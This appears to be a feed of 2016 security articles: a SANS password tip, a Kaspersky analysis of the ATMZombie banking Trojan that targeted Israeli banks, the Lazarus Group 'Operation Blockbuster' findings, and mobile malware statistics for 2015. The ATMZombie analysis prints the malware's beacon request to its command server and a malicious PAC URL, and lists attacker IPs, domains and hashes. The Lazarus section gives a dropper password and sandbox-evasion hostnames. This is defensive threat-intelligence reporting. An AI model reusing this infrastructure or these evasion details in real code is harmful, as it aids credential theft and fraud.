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Don't Login on Untrusted Computers

SANS Tip of the Day - Tue, 03/01/2016 - 00:00
A password is only as secure as the computer or network it is used on. As such, never log in to a sensitive account from a public computer, such as computers in a cyber cafe, hotel lobby or conference hall. Bad guys target public computers such as these and infect them on purpose. The moment you type your password on an infected computer, these cyber criminals can harvest your passwords. If you have no choice but to use a public computer, change your password at the next available opportunity you have access to a trusted computer.

ATMZombie: banking trojan in Israeli waters

Malware Alerts - Mon, 02/29/2016 - 03:08

On November 2015, Kaspersky Lab researchers identified ATMZombie, a banking Trojan that is considered to be the first malware to ever steal money from Israeli banks. It uses insidious injection and other sophisticated and stealthy methods. The first method, dubbed “proxy-changing”, is commonly used for HTTP packets inspections. It involves modifying browser proxy configurations and capturing traffic between a client and a server, acting as Man-In-The-Middle.

Although this is efficient for testing, streaming bank details isn’t as easy. Banks are using encrypted channels, signed with authorized certificates, to prevent the data from being streamed in clear-text. The attackers, however, realized the missing piece and have since issued a certificate of their own, which is embedded in the dropper and is inserted in the root CA list of common browsers in the victim’s machine.

The method of using a “proxy-changer” Trojan to steal bank credentials has been around since the end of 2005, and is being actively used by Brazilian cybercriminals; however, it wasn’t until 2012 that Kaspersky Lab researchers compiled a full attack analysis. “In Brazil malicious PAC files in Trojan bankers have been increasingly common since 2009, when several families such as Trojan.Win32.ProxyChanger started to force the URLs of PAC files in the browser of infected machines.“, said Fabio Assolini, Senior Security Researcher at GReAT Kaspersky Lab, in his article.

A Kaspersky Lab researcher based in Russia had written about similar Trojan attacking PSB-retail customers, dubbed Tochechnyj Banker. It was even backed by a victim case study, where the victim explains how the crocks fooled him into handing out his credentials.

The incident Israeli banks experienced had the same characteristics, but had a very fascinating and innovative method of stealing the money. Instead of relying only on direct wire-transfer or trading credentials, their modus operandi started by leveraging a loophole in one of the bank’s online features; and later by physically withdrawing money from the ATM, assisting money mules (zombies) who are suspected to have no awareness of how the attack works; hence the Trojan was dubbed – ATMZombie.

The threat actor seems to be widely active in banking malware campaigns, as he was found to be registering domains for the following Trojans as well: Corebot, Pkybot and the recent AndroidLocker. However, none uses the same modus operandi. In addition, the actor is being tracked by a number of researchers and also runs rogue online services such as malware encryption and credit card dumps for sale.

Similar to the PSB-retail attack in 2012, the Retefe Banking Trojan, discovered by PaloAlto Networks last August, is quite like a big brother of ATMZombie. It contains an additional Smoke Loader backdoor, which ATMZombie lacks. The other similar banker is that identified by IBM Trusteer’s as Tsukuba.

The proxy configurations file must specifically detail the targets it is aiming at, thus it was fairly easy to spot them. The attack had successfully compromised hundreds of victim machines; however Kaspersky Lab was able to trace only a couple of dozen of them.

Bird view

The Trojan is dropped into the victim machine and starts the unpacking process. Once unpacked it stores certificates in common browsers (Opera, Firefox) and modifies their configurations to match a Man-In-The-Middle attack. It eliminates all possible proxies other than the malware’s and changes cache permissions to read-only. It than continues by changing registry entries with Base64 encoded strings that contain a path to the auto-configuration content (i.e. traffic capture conditions using CAP file syntax) and installs its own signed certificate into the root folder. Later it waits for the victim to login to their bank account and steals their credentials, logs in using their name and exploits the SMS feature to send money to the ATMZombie.

Analysis

After loading the malware executable with your favorite assembler level analysis debugger, it is possible to capture the virtual allocation procedure occurring in run-time. Putting breakpoints in the right instruction points will disclose the unpacked executable. Once the final routine is done, the MZ header will appear in memory. There are many techniques and tools, but this method was enough to unpack the malware.

Looking into the malware assembly code, we were able to identify a number of strings that were embedded in the data section for a reason. The first we spotted was a Base64 string containing a chunk of an outbound communication URL, meant to be embedded in a number of registry entries.

The string decodes to:

http://retsback.com/config/cfg.pac

Side note: It is not the PAC file that is being embedded in the browser network configuration; thus we believe that it was generated by the attacker as a backup, in case the original PAC fails.

Two other Base64 strings we found were the PAC, which was embedded in the browser network configuration; and another type of URL, which indicated the type of lateral movement the threat actor chose.

The URL in the Base64 string was appended to an HTTP request which was detected as an attempt to fingerprint the sandbox. The empty parameters are fed with the Windows ProductID, the binary’s name and an integer between one and five. The integer is the level of integrity that the malware was assigned for; where (1) is untrusted level and (5) is system level. Along with those three dynamic values is a static version value.

GET
/z/rtback.php?id=[WindowsProductID]&ver=0000002&name=[malware_filename]&ilvl=[integrity_level] HTTP/1.1
Host: retsback.com
Cache-Control: no-cache

Inspecting the binary, we found that it uses a certificate to stream data over HTTPS and securely steal the victim’s credentials.

After embedding the above certificate and proxy configurations in the victim’s machine, the browser is set to route the communication via the attackers’ server when the victim decides to login to his bank.

The victim was not only lured into downloading the malware for being a client of Israeli banks, but was also targeted for being a client of a specific bank in Israel. This requires either very good intelligence-gathering techniques or an insider that can, legitimately or not, get a hold of the list of clients. When a list of that nature is being assembled, the hunt becomes very efficient and the attackers are able to craft each email or link to a specific victim or bank.

The following is a full pseudo code of the malware:

Stepping out of the rabbit hole

The malware is only the first step of the attack. The second step involves a manual login to the hijacked accounts and submission of a wire-transfer to the account of the money mule. This is a crucial step, since crossing this step means that the malware has successfully finished its role in the attack.

Logging manually into the victim’s bank account is not something to take lightly. Many banks around the world are fingerprinting devices to make sure that the user is logging in from a trusted machine. For untrusted machines, the bank will issue extended protection mechanisms to prevent the exact attack detailed in this article. In addition, banks track anomalies and send alerts to its information security personnel.

Before victims get to the phase where they call the bank’s support team to declare that money has gone missing, the attacker issues a money transfer to the money mule’s cell phone number and Israeli Personal Identifiable Information (PII). We dubbed the money mule “Zombie”, as part of an investigation in which he found that youngsters were lured into withdrawing cash from the ATMs, in return for receiving a small amount of it. Later, they sent the rest of the money via different media, such as a post office. The campaign was named after the money mules and the technique they were instructed to use.

The technique allowed the attackers to stay anonymous and supervise the entire campaign remotely. It also points to a new type of attack, where attackers control residents of a country to operate as an insider and deliver a basic service. This service might cause its executor to be accused for committing a crime; however, the chance of proving that they were aware of the entire operation is close to none. After all, they are not doing anything malicious.

From reading the bank’s instruction, a non-registered user can study the five-year old feature and analyze the possibility of including it in the attack as a way to wire money. This feature is called “SMS transaction”; and it has been widely used for the past few years, allowing parents, for example, to send money to kids who have no credit card, while they serve in the military or study at school.

Along with a few more unique details, such as Date, Israeli ID, Name and Amount the owner of the phone will be provided with an SMS message that authorizes the cash withdraw.

Kaspersky Lab found an innovative way to protect against the proxy-changer that has existed for several years. It can be found here.

Israeli banks involved in the incident successfully stopped the attack using, among other data, the information they received from Kaspersky Lab regarding the attacker, the malicious activity and the victims.

FAQs

Q: Was the attack targeted at Israeli banks?

A: Yes

Q: Was money stolen from the banks or from victims’ accounts?

A: The money was stolen from victims’ accounts, but the bank compensated each victim. In conclusion, the bank was the one to lose revenue.

Q: Was the attack stopped completely?

A: As far as we know, the banks were able to stop the attack completely and compensate the victims.

Q: How many victims were in the attack?

A: The Kaspersky Security Network (KSN) showed dozens of victims; however, we estimate that the total number of victims reached a couple of hundreds.

Q: How much money was stolen?

A: The highest amount for one transaction was approximately 750$. We were able to find a number of money mules, about 10 different malicious binaries, and a number of banks who were victims of this attack. With this information we estimate that hundreds of thousands of dollars were stolen in this short period of time. If not for the vast investigation led, among others, by Kaspersky Lab, the amounts stolen could have soared to much larger numbers.

Q: Were the police part of the investigation?

A: We are not aware of any investigation details.

Q: In regards to attribution, who is the attacker?

A: Kaspersky Lab does not seek attribution; however, the company’s researchers have sent all the information to law enforcement to help in catching the criminals behind the campaign.

Q: What can I do to stay protected?

A: Make sure you have anti-malware product installed and install the latest patches.

IPs

91.230.211.206
185.86.77.153
91.215.154.90
88.214.236.121

Domains

retsback.com
updconfs.com
systruster.com
msupdcheck.com

Samples 6d11090c78e6621c21836c98808ff0f4 Trojan-Banker.Win32.Capper.zym 4c5b7a8187475be251d05655edcaccbe Trojan-Banker.Win32.Capper.zyt c0201ab2a45bc0e17ebd186059d5a59e Trojan-Banker.Win32.Capper.zyk 47b316e3227d618089eb1625c4202142 Trojan-Banker.Win32.Capper.zyl 84bb5a77e28b3539a8022bc3612d4f4c PAC file example d2bf165284ab1953a96dfa7b642637a8 Trojan-Banker.Win32.Capper.zyp 80440e78a68583b180ad4d3e9a676a6e Trojan-Banker.Win32.Capper.zyq d08e51f8187df278296a8c4ff5cff0de Trojan-Banker.Win32.Capper.zyg efa5ea2c511b08d0f8259a10a49b27ad Trojan-Banker.Win32.Capper.zys 13d9352a27b626e501f5889bfd614b34 Trojan-Banker.Win32.Capper.zyf e5b7fd7eed59340027625ac39bae7c81 Trojan-Banker.Win32.Capper.zyj

Operation Blockbuster revealed

Malware Alerts - Wed, 02/24/2016 - 08:10

Kaspersky Lab has joined industry alliance driven by Novetta to announce Operation Blockbuster. Just like the previous Operation SMN, this alliance brings together key players in the IT security industry, working together in an effort to disrupt and neutralize multiple cyberespionage campaigns that have been active for several years. Some of the targets of these campaigns included financial institutions, media houses and manufacturing companies, among others.

In the past, we published our research into the malware that was publicly attributed to the Sony Pictures (SPE) hack. Building on that data, Kaspersky Lab conducted more focused research into a cluster of related campaigns stretching back several years before the SPE incident. That cluster involves several malware families as well as campaigns that have not received media attention and were previously considered unrelated. By focusing primarily on instances of code-reuse and leveraging the power of Yara, Kaspersky researchers were able to proactively spot new malware variants produced by the same threat actor, codenamed by Novetta ‘The Lazarus Group’. For instance, past and current activity that we attribute to the Lazarus Group includes Wild Positron, which is also known publicly as Duuzer.

Some of our findings about Wild Positron and other associated operations were initially presented to a select audience at our Security Analyst Summit (SAS) in Tenerife, Spain, through a joint presentation between researchers from Kaspersky’s Global Research and Analysis Team and AlienVault Labs’ Research Team. Today, as part of Operation Blockbuster, together with Novetta and other industry partners, we are publishing our findings for the benefit of the wider public.

Technical highlights of SAS findings

The Lazarus Group’s activity spans multiple years, going back as far as 2009. However, their activity spikes starting with 2011. The group deployed multiple malware families throughout the years, including malware associated with Operation Troy and DarkSeoul, the Hangman malware (2014-2015) and Wild Positron / Duuzer (2015). The group is known for spearphishing attacks, which include CVE-2015-6585, which was a zero-day vulnerability at the time of discovery.

During our analysis of the malware from the SPE attack as well as the connected malware families mentioned above, we observed certain specific traits shared between samples used in separate attacks. In general, such similarities are instances of code sharing and indicate the existence of a relationship between the malware families, which can be used to paint a more complete picture of a threat actor. We describe some of these overlapping features below.

Network functionality

Rather than focus on the specific functionality of any given piece of malware, we focused on hunting for as many related malware as possible in order to better understand the practices of this threat actor. Studying multiple coding quirks within any given malware variant actually revealed these to be coding conventions implemented across both different malware families as well as entirely new samples. A simple example of code reuse is the networking functionality that includes a half-dozen hard-coded user-agents with the misspelling ‘Mozillar’ instead of Mozilla.

Misspelled Hardcoded User-Agent

This same user-agent appears across a variety of malware families including the original Destover as well as multiple loosely related variants of Hangman, a new campaign targeting Domain Controllers, and the Sconlog/SSPPMID samples.

Self-deleting scripts

Placeholder strings in the dropper (left) and the resulting self-delete bat file (right)

Another interesting convention is the use of BAT files to delete components of the malware after infection. These BAT files are generated on the fly and, while they serve their purpose of eliminating initial infection traces, they ironically double as a great way to identify the malware itself by honing in on the path-placeholder strings that generate the randomly-named BAT files on the infected systems. This convention is found across the widest berth of Hangman/Volgmer variants as well as a wealth of thus-far uncategorized samples from stretching from as far back as 2012/2013.

Basic anti-analysis techniques

Password-protected ZIP resource containing malware payload

A high-confidence indicator of correlation is the reuse of a shared password across malware droppers used to drop different malware variants. The droppers all kept their payloads within a password-protected ZIP under the resource name ‘MYRES’. The dropper contains the hardcoded password ‘!1234567890 dghtdhtrhgfjnui$%^^&fdt‘ making it trivially easy for an analyst to reach the payload. The purpose, of course, is not to stymie seasoned analysts but to halt automated systems from extracting and analyzing the payload.

Avid watchers

Hardcoded sandbox hostnames in latest iterations of the Lazarus Group malware

The target of this investigation is far from unaware of the efforts of security practitioners and AV vendors interested in their practices. Apart from including simple anti-analysis techniques, the Lazarus group’s latest malware now include a custom-tailored list of computer hostnames to watch out for. These hostnames belong to sandbox execution systems likely commonly executing their malware for the sake of generating detections. List of sandbox names have been made available on attacker forums or open blog posts. The interesting thing is that the Lazarus group’s list of sandbox hostnames includes the following:

‘XELRCUZ-AZ’ ‘RATS-PC’ ‘PXE472179’

These are three presumed sandbox hostnames unavailable in any public lists we’ve been able to identify. The attackers most likely collected these during the execution of their malware and decided to retaliate by adding logic to avoid execution on these systems. This displays a level of awareness of an attacker that is cognizant of the playing field and adapting to outwit their adversaries in the security industry.

Attacker activity

Profiling the PE compilation timestamps can provide security researchers with a method to identify the attacker’s activity throughout the years. This can be used to understand if the group’s efforts are increasing, decreasing or if certain blind spots exist.

Based on the analysis of several samples that we strongly associated with the group, we conclude the activity has been steadily growing since 2013.

Analysis of the working hours provide a possibly even more interesting pictures:

The group appears to start working around midnight (00 hrs GMT) and breaks for lunch around 3am GMT. Considering normal working hours, this indicates the attackers are probably located on a timezone of GMT+8 or GMT+9.

What is perhaps most surprising is the amount of sleep they get – which is roughly about 6-7 hours per night. This indicates a very hard working team, possibly more hard working than any other APT group we’ve analysed.

Language usage and attribution

Of course, one of the top questions here is who is behind the Lazarus group and is it a nation-state sponsored attacker?

Instead of speculating on the origin of these attacks, we prefer to provide technical facts and let the reader draw their own conclusions.

Out of the Lazarus group reference sample set compiled by our partner Novetta, just over 60% (61.9%) of them have at least one PE resource with Korean locale or language.

The analysis of the metadata extracted from several thousand samples shown above seems to indicate the attackers are probably located on a timezone of GMT+8 or GMT+9.

Additionally, many of the attacks in the past seemed to target institutions in South Korea, such as in the case of DarkSeoul. Coupled with the usage of a Hangul Word Processor zero-day by the attackers also seems to indicate that South Korea is one of their top interests.

Victim information

Based on KSN analysis and reports, we were able to put together a map with the most affected regions and countries by the Lazarus group malware. To create the map, we took the reference samples set from Novetta, removed the shared hacking tools (such as Process Hacker) and cross referenced them with KSN detections from the last twelve months. It should be noted that due to the large amount of samples (more than 1000), these detections can include researchers analysing the malware as well as multi-scanners or victims connecting by VPNs. Additionally, for such a large number of samples and detections, the geography can be influenced by the geographical popularity/distribution of Kaspersky Lab products; for instance, while many of the Lazarus group attacks were directed at targets in South Korea, our customer base there is relatively small and doesn’t offer a solid perspective on the infections there.

Finally, some of the malware from the Lazarus group appears to be self-spreading (worms) which affect the overall statistics if we look at it from a targeted attacks point of view.

Nevertheless, these statistics provide an overall image of Lazarus group malware detections as observed by our products over the last 12 months.

Conclusions

Our research into the Lazarus group conducted over the past several years confirms the existence of a connection between various campaigns such as Operation DarkSeoul, Operation Troy and the SPE, which we believe to be fitting under the umbrella of a single threat actor. Their focus, victimology, and guerilla-style tactics indicate a dynamic, agile and highly malicious entity, open to data destruction in addition to conventional cyberespionage operations.

During the last two years, the number of destructive attacks has grown considerably. We’ve written about some of them in our blog ‘Five Wipers in the Spotlight‘. As observed in these incidents, this kind of malware proves to be a highly effective type of cyber-weapon. The power to wipe thousands of computers at the push of a button represents a significant bounty to a CNE team tasked with disinformation and the disruption of a target enterprise. Its value as part of hybrid warfare, where wiper attacks are coupled with kinetic attacks to paralyze a country’s infrastructure remains an interesting thought experiment closer to reality than we can be comfortable with.

As we predicted, the number of wiper attacks grows steadily. It will continue to rise exponentially as media and governments respond in a way that raises the profile of the perpetrators in a politically beneficial manner. Millions of dollars in losses, disabled operational capabilities, and reputational loss will continue to haunt the victims in the wake of the Lazarus group and other actors willing to perpetrate these devastating attacks.

Together with our industry partners, we are proud to put a dent in the operations an unscrupulous actor willing to leverage these devastating techniques.

Mobile malware evolution 2015

Malware Alerts - Tue, 02/23/2016 - 06:00

The year in figures

In 2015, Kaspersky Lab detected the following:

  • 2,961,727 malicious installation packages
  • 884,774 new malicious mobile programs – a threefold increase from the previous year
  • 7,030 mobile banking Trojans
Trends of the year
  • Rise in the number of malicious attachments the user is unable to delete.
  • Cybercriminals actively using phishing windows to conceal legitimate apps.
  • Growth in the volume of ransomware.
  • Programs using super-user rights to display aggressive advertising.
  • Increase in the quantity of malware for iOS.
Main methods of monetization

Mobile malware continues to evolve towards monetization, with malware authors trying to ensure their creations are capable of making money from their victims.

Stealing money from user bank accounts

Mobile Trojans targeting user bank accounts continue to develop – in 2015, we detected 7,030 new mobile banking Trojans. Some malicious mobile programs work in combination with Windows-based Trojans to capture mTAN passwords (one-time passwords used in two-factor authentication) that are used for authorizing bank transactions. Many of the other mobile programs used to steal money from user bank accounts operate independently.

Some mobile malware is capable of overlaying the on-screen display of a legitimate banking app with that of a phishing window that imitates the app. The most notable examples of this type of program are Trojan Trojan-SMS.AndroidOS.OpFake.cc and the representatives of the Trojan-Banker.AndroidOS.Acecard family. One of the OpFake.cc modifications can imitate the interface of more than 100 legitimate banking and finance apps. The Acecard family can imitate at least 30 banking apps and also has functionality to overlay any app that the C&C server commands.

In Q2 2015, we wrote about Trojan-Spy.AndroidOS.SmsThief.fc whose malicious code was embedded in a legitimate banking app without affecting its performance. This meant it was highly unlikely a user would notice the malware.

The authors of mobile malware are taking an increasingly integrated approach to stealing money: it is no longer limited to special banking Trojans targeting banking apps.

An example of this approach is Trojan-SMS.AndroidOS.FakeInst.ep. What the users see is a message, purportedly from Google, demanding that they open Google Wallet and go through an ‘identification’ procedure that involves entering their credit card details (one of the reasons given is the need to combat cybercrime). The window cannot be removed until the victim enters their credit card details.

Once users enter the required data, it is sent to attackers, and the window closes. Meanwhile, the Trojan continues to steal information and send additional information to its owners about the smartphone and its user.

Against a background of slowing growth in the number of specialized banking Trojans, the total number of apps that can steal money from users is growing. This comes at a time when banking Trojans are becoming more sophisticated and versatile – they are often capable of attacking customers of dozens of banks located in a variety of countries. This means cybercriminals do not need lots of different files to attack the customers of different banks.

Ransomware

The amount of Trojan-Ransom families doubled in 2015 compared to the previous year, while the number of detected modifications increased 3.5 times. This means some criminals are switching to ransomware to steal money, and those who were already doing so are continuing to create new versions of the malware. Yet another key indicator confirming the importance of this class of threat is the number of people who were attacked: in 2015, this figure increased fivefold.

In most cases when these Trojans block a device, the user is accused of committing some alleged misdemeanor, and has to pay to unblock the device – the ransom can range from $12 to $100. The blocked device is rendered inoperable – the user only sees a window with the ransom demand. Some Trojans are capable of overlaying system dialog boxes, including those used to switch off the phone.

The window opened by Fusob

At the end of the year we detected several Trojan downloaders that downloaded Trojan-Ransom.AndroidOS.Pletor in the system. These Trojan downloaders exploit vulnerabilities in the system to gain super-user privileges on the device and install Trojan-Ransom malware in the system folder. Once installed, this Trojan is almost impossible to remove.

SMS Trojans remained a serious threat, particularly in Russia. These programs send paid text messages from an infected device without the user being aware. Although their share in the overall flow of mobile threats continues to decline, the number of SMS Trojans in absolute terms remains substantial.

Some SMS Trojans are not limited to the sending of text messages to premium numbers; they can also connect the user to paid subscriptions. In 2015, we kept track of how Trojan-SMS.AndroidOS.Podec – still one of the most popular Trojans among cybercriminals – was developing. This Trojan boasts an unusual feature: its main method of monetization is paid subscriptions. It is capable of bypassing Captcha, and its latest modifications have “lost” the ability to send text messages as its creators have focused on subscriptions.

Aggressive advertising

In 2015, we recorded an increase in the number of programs that use advertising as the main means of monetization. The trend of the year was Trojans using super-user privileges. In the first quarter of 2015, the mobile malware TOP 20 contained just one Trojan of this type; by the end of the year they made up more than half of the rating. Despite the fact that these Trojans are designed to download and install advertising applications without the user’s knowledge, they can cause a lot of problems. Once installed, they try to root the device and install their own components in the system making them difficult to remove. Some of them remain on a smartphone even after resetting to factory settings. As a result, the user is inundated with annoying ads on the device. They can also install lots of other programs, including malware, on the device without the user being aware. There have been cases of this type of program being distributed in the official firmware of devices or being pre-installed on new phones.

Malware in official stores

In early October 2015 we came across several Trojans in the official Google Play Store that stole user passwords from the Russian social network VKontakte. These were Trojan-PSW.AndroidOS.MyVk.a and Trojan-PSW.AndroidOS.Vkezo.a. About a month later we detected a new modification of the Trojan Vkezo which was also distributed via Google Play Store. The attackers published these Trojans 10 times in the official app store under different names over a period of several months. The number of downloads for all versions of these Trojans was put at between 100 000 and 500 000. Yet another Trojan detected in Google Play Store was Trojan-Downloader.AndroidOS.Leech; it was also downloaded between 100 000 and 500 000 times.

Malware for iOS

In 2015, the number of malicious programs for iOS increased 2.1 times compared to 2014.

The recent emergence of malicious apps in the App Store once again demonstrated that, contrary to popular belief, iOS is not invulnerable to malware. The attackers did not hack App Store, but instead posted a malicious version of Apple’s Xcode, a free set of tools that developers use to create applications for iOS, on the Internet.

Apple’s Xcode is officially distributed by Apple, but it is unofficially spread by third parties. Some Chinese vendors prefer to download the development tools from local servers. Someone posted an Xcode version containing malicious XcodeGhost on a third-party server in China. Malicious code is embedded in any application compiled using this version of Xcode.

XcodeGhost infected dozens of applications. Initially it was thought that 39 infected apps had bypassed the Apple testing procedure and had been successfully downloaded to the App Store. The most popular of them was WeChat, a free messenger installed on more than 700 million user devices. Apple removed the infected apps. However, the hacked version of Xcode was available for about six months, so the total number of infected applications might be much higher, not least because the source code for XcodeGhost was published on Github.

In early June, Trojan.IphoneOS.FakeTimer.a, a malicious program for iPhone, was detected. The Trojan targets users in Japan and can be installed on any iPhone because the attackers used an enterprise certificate to sign the Trojan. The malicious program uses phishing techniques to steal money. A similar version of the Trojan for Android – Trojan.AndroidOS.FakeTimer.a.that – has already been around for several years.

Statistics

In 2015, the volume of mobile malware continued to grow. From 2004 to 2013 we detected nearly 200,000 samples of malicious mobile code. In 2014 there were 295,539 new programs, while the number was 884,774 in 2015. These figures do not tell the whole story because each malware sample has several installation packages: in 2015, we detected 2,961,727 malicious installation packages.

From the beginning of January till the end of December 2015, Kaspersky Lab registered nearly 17 million attacks by malicious mobile software and protected 2,634,967 unique users of Android-based devices.

The number of attacks blocked by Kaspersky Lab solutions, 2015

The number of users protected by Kaspersky Lab solutions, 2015

Geography of mobile threats

Attacks by malicious mobile software were recorded in more than 200 countries.

The geography of mobile threats by number of attacked users, 2015

The number of recorded attacks greatly depends on the number of users in a country. To evaluate the danger of infection by mobile malware in various countries we calculated the percentage of our users who encountered malicious applications in 2015.

TOP 10 countries by the percentage of attacked users

Country % of attacked users* 1 China 37 2 Nigeria 37 3 Syria 26 4 Malaysia 24 5 Ivory Coast 23 6 Vietnam 22 7 Iran 21 8 Russia 21 9 Indonesia 19 10 Ukraine 19

* We excluded those countries in which the number of users of Kaspersky Lab mobile security products over the reported period was less than 25,000.
** The percentage of attacked unique users as a percentage of all users of Kaspersky Lab mobile security products in the country

China and Nigeria topped the ranking, with 37% of users of Kaspersky Lab mobile security products in those countries encountering a mobile threat at least once during the year. Most of the attacks on users in Nigeria were carried out by advertising Trojans such as the Ztrorg, Leech, and Rootnik families that make use of super-user privileges, as well as by adware.

In China, a significant proportion of the attacks also involved advertising Trojans, but the majority of users encountered the RiskTool.AndroidOS.SMSreg family. Careless use of these programs can lead to money being withdrawn from a mobile account.

Types of mobile malware

Over the reporting period, the number of new AdWare and RiskTool files detected grew significantly. As a result, their share in the distribution of new mobile malware by type also increased noticeably – from 19.6% and 18.4% to 41.4% and 27.4%, respectively.

Distribution of new mobile malware by type in 2014 and 2015

When distributing adware programs, rather primitive methods are used to attract the attention of users to the advertisements: apps are created using the icons and names of popular games or useful programs. Of course, there are lots of popular games and legitimate applications, so a lot of fake advertising apps can be generated. The more fake applications that are used, the more effective the monetization of click activity is. Yet another way of distributing adware is by embedding an advertising module in a legitimate application. This can be done by the author of the application as well as by those who want to make money by exploiting an app’s popularity: when the advertising module is embedded in a clean app without the author’s knowledge, the profits from advertising go to those who added the advert, not the author. Unlike fake apps, this complex app contains some useful functionality.

The growth in the volume of adware is caused by the increasing competition among developers of these programs. The legitimate programs that use various advertising modules are often too aggressive. Increasingly, advertising modules are delivering as much advertising as possible to the user in a variety of ways, including the installation of new adware programs. Sometimes the adware programs installed on a device can make it almost impossible to use because the user is constantly fighting with advertising windows.

RiskTool programs are especially popular in China. This is because SMS payments for content are very popular in the country. Almost any game that includes so-called internal purchases (for additional levels of a game, for example) contains an SMS payment module. In most cases, the user is notified about the potential risks associated with such purchases, but we also consider it necessary to inform our users about the risks. Because the games in question are popular, the number of RiskTool applications is constantly increasing. The main contributor to that growth was the RiskTool.AndroidOS.SMSReg family of programs.

Although AdWare and RiskTool programs do not cause direct harm to users, they can be very irritating, while RiskTool programs installed on mobile devices can lead to financial losses if used carelessly or manipulated by a cybercriminal.

The proportion of SMS Trojans in the overall flow of mobile threats decreased almost 2.4 times – from 20.5% to 8.7%. However, in 2015 we detected even more new SMS Trojans than in 2014. Activity by this type of malicious program dropped drastically in mid-2014. This was the result of an AoC (Advice-of-Charge) system being introduced by Russian operators that led to a reduction in the number of so-called affiliate programs distributing SMS Trojans, the majority of which targeted users in Russia.

Top 20 malicious mobile programs

Please note that the ranking of malicious programs below does not include potentially unwanted programs such as RiskTool or AdWare.

Name % of all attacked users* 1 DangerousObject.Multi.Generic 44.2 2 Trojan-SMS.AndroidOS.Podec.a 11.2 3 Trojan-Downloader.AndroidOS.Leech.a 8.0 4 Trojan.AndroidOS.Ztorg.a 7.6 5 Trojan.AndroidOS.Rootnik.d 6.9 6 Exploit.AndroidOS.Lotoor.be 6.1 7 Trojan-SMS.AndroidOS.OpFake.a 5.6 8 Trojan-Spy.AndroidOS.Agent.el 4.0 9 Trojan.AndroidOS.Guerrilla.a 3.7 10 Trojan.AndroidOS.Mobtes.b 3.6 11 Trojan-Dropper.AndroidOS.Gorpo.a 3.6 12 Trojan.AndroidOS.Rootnik.a 3.5 13 Trojan.AndroidOS.Fadeb.a 3.2 14 Trojan.AndroidOS.Ztorg.pac 2.8 15 Backdoor.AndroidOS.Obad.f 2.7 16 Backdoor.AndroidOS.Ztorg.c 2.2 17 Exploit.AndroidOS.Lotoor.a 2.2 18 Backdoor.AndroidOS.Ztorg.a 2.0 19 Trojan-Ransom.AndroidOS.Small.o 1.9 20 Trojan.AndroidOS.Guerrilla.b 1.8

* Percentage of users attacked by the malware in question, relative to all users attacked

First place is occupied by DangerousObject.Multi.Generic (44.2%), used in malicious programs detected by cloud technologies. Cloud technologies work when the antivirus database contains neither the signatures nor heuristics to detect a malicious program, but the cloud of the antivirus company already contains information about the object. This is basically how the very latest malware is detected.

Trojan-SMS.AndroidOS.Stealer.a, which was the TOP 20 leader in 2014, came 28th in 2015.

Four places in the TOP 20 are occupied by Trojans that steal money from mobile or bank accounts as their main method of monetization. They are Trojan-SMS.AndroidOS.Podec.a, Trojan-SMS.AndroidOS.OpFake.a, Trojan.AndroidOS.Mobtes.b and Backdoor.AndroidOS.Obad.f. Trojan-SMS.AndroidOS.Podec.a (11.2%) is in second place. This Trojan remained among the top three most popular mobile threats throughout 2015. To recap, the latest versions of this Trojan no longer send paid text messages. The Trojan is now fully focused on paid subscriptions, making use of CAPTCHA recognition. Trojan-SMS.AndroidOS.OpFake.a (5.6%) in 7th place is another long-term resident of the TOP 20. In 2014 it finished in 8th place and remained in the rating throughout all of 2015.

Yet another Trojan – Trojan-Ransom.AndroidOS.Small.o (1.9%) – blocks the victim’s phone and extorts money to unblock it. This mobile Trojan-Ransom program was very popular at the end of 2015 and became the only ransomware program to make the TOP 20. It first appeared in the ranking in the third quarter of 2015 in 11th place; it came 19th in the overall TOP 20 for 2015. The Trojan mostly spreads as a porn video player and targets Russian-speaking audiences.

More than half (12 out of 20) of the entries in the ranking are Trojans that use aggressive advertising as their primary means of monetization. They are Trojan-Downloader.AndroidOS.Leech.a, Trojan-Spy.AndroidOS.Agent.el, Trojan-Dropper.AndroidOS.Gorpo.a, Trojan.AndroidOS.Fadeb.a, and two modifications each of Trojan.AndroidOS.Guerrilla, Trojan.AndroidOS.Rootnik, Trojan.AndroidOS.Ztorg and Backdoor.AndroidOS.Ztorg. Unlike the usual advertising modules, these programs do not contain any useful functionality. Their goal is to deliver as many adverts as possible to the recipient using a variety of methods, including the installation of new advertising programs. These Trojans can use super-user privileges to conceal their presence in the system folder, from where it will be very difficult to dislodge them. We have come across such Trojans before, mostly in China. There was a burst of activity by these programs in 2015: most of them targeting users in China, although these Trojans have started being actively distributed worldwide. The code of the Trojans often contained the word oversea.

The other two places in the TOP 20 are occupied by Exploit.AndroidOS.Lotoor modifications used to obtain local super-user privileges.

Mobile banking Trojans

In 2015, we detected 7,030 mobile banking Trojans, which is 2.6 times less than in 2014 when 16,586 were detected. It should be noted that although the number of new malware programs fell from the previous year, these programs have become more adept and malign, and the areas of interest among cybercriminals now includes banks in numerous countries. Many mobile banking Trojans act independently, without any computer component, and target customers of dozens of banks around the world.

Number of mobile banking Trojans detected by Kaspersky Lab solutions in 2015

56,194 users were attacked by mobile banking Trojans at least once during the year.

Geography of mobile bankers

The number of attacked countries is growing: attacks by mobile banking Trojan were registered in 137 countries and territories worldwide vs 90 countries in 2014.

Geography of mobile banking threats in 2015 (number of users attacked)

Top 10 countries attacked by mobile banking Trojans (ranked by number of users attacked):

Country Number of users attacked 1 Russia 45690 2 Germany 1532 3 Ukraine 1206 4 US 967 5 Kazakhstan 804 6 Australia 614 7 South Korea 527 8 France 404 9 Belarus 380 10 Poland 324

As in the previous year, Russia topped the rating of countries attacked by mobile banking Trojans. Among the newcomers were South Korea, Australia, France and Poland. Lithuania, Azerbaijan, Bulgaria and Uzbekistan left the TOP 10.

Just how popular mobile banking Trojans are with cybercriminals in each country can be shown by the percentage of users who were attacked by these Trojans during the reporting period, relative to all attacked users.

TOP 10 countries by the percentage of users attacked by mobile banking Trojans relative to all attacked users

Country % of all attacked users* 1 South Korea 13.8 2 Australia 8.9 3 Russia 5.1 4 Austria 3.0 5 Belarus 1.9 6 US 1.8 7 Tajikistan 1.7 8 Ukraine 1.6 9 France 1.6 10 Uzbekistan 1.6

* Percentage of users attacked by mobile banking Trojans, relative to all attacked users of Kaspersky Lab’s mobile security products in the country.

A substantial portion of mobile banking attacks in South Korea were caused by representatives of the Trojan-Banker.AndroidOS.Wroba family. These Trojans are designed to steal mobile bank accounts of the largest Korean banks as well as mTans.

